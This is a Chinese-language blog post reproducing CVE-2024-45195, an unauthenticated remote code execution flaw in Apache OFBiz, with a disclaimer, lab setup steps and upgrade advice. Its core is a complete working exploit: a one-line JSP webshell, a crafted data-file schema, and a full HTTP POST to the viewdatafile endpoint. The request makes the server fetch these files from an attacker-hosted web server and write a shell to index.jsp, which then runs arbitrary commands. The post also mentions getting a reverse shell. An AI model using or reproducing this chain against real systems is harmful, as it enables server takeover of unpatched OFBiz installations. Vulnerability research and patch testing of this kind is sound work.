【漏洞复现】Apache OFBiz远程代码执行漏洞(CVE-2024-45195)

百科   2024-12-02 08:42   山东  

免责声明

请勿利用文章内的相关技术从事非法测试。由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,请遵守网络安全法律。本次仅用于测试,请完成测试后24小时删除,请勿用于商业用途。

01.简介

CVE-2024-45195是一个影响Apache OFBiz平台的远程代码执行漏洞。Apache   OFBiz是一个著名的电子商务平台,提供了创建基于最新J2EE/XML规范和技术标准的企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。该漏洞允许未经身份验证的远程攻击者通过构造恶意请求,写入恶意文件,从而执行远程代码,获取服务器权限。

该漏洞的成因在于Apache OFBiz在处理用户请求时,未对特定接口进行充分的权限验证和输入验证。攻击者可以通过发送特定格式的数据包到这些接口,触发远程代码执行漏洞。

02.影响版本

Apache OFBiz < 18.12.16

Apache OFBiz 18.12.16 之前版本中,由于Web 应用程序中缺少视图授权检查,未经身份验证的远程威胁者可构造恶意请求写入恶意文件导致远程代码执行,从而获取服务器权限。

03.环境搭建

下载地址:https://archive.apache.org/dist/ofbiz/apache-ofbiz-18.12.15.zip

下载解压后,使用IDEA打开,注意路径不要有中文

因为是gradle构建的项目,idea可以直接识别,使用build直接编译


然后找到libs下ofbiz.jar,新增jar Application,添加指定的路径


访问:https://127.0.0.1:8443/webtools/ 证明搭建成功

04.漏洞复现

需要两个文件rcereport.csv和rceschema.xml

创建rcereport.csv(一句话木马)

<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>

创建rceschema.xml

<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <data-file
       name="rce"
       separator-style="fixed-length"
       type-code="text"
       start-line="0"
       encoding-type="UTF-8">

       <record
           name="rceentry"
           limit="many">

           <field
               name="jsp"
               type="String"
               length="60"
               position="0" />

       </record>
   </data-file>
</data-files>

ps:xml:data-file必须和数据包里的DEFINITION_NAME值相同、length长度为rcereport.csv的文件长度

本地启用一个web服务

python -m http.server 9999

POC:

POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1
Host:127.0.0.1:8443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Content-Length: 241
Content-Type: application/x-www-form-urlencoded

DATAFILE_LOCATION=http://127.0.0.1:9999/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://127.0.0.1:9999/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

可以看到有请求访问我们的web服务


访问https://127.0.0.1:8443/accounting/index.jsp?cmd=calc

弹出计算器,漏洞复现成功


反弹shell:


05.修复建议

升级版本

目前该漏洞已经修复,受影响用户可升级到Apache OFBiz 18.12.16或更高版本。

下载链接:

https://ofbiz.apache.org/download.html





Z0安全
个人学习知识记录,包括红队、二进制安全、CTF、取证等方向。菜鸟一枚,多多包涵~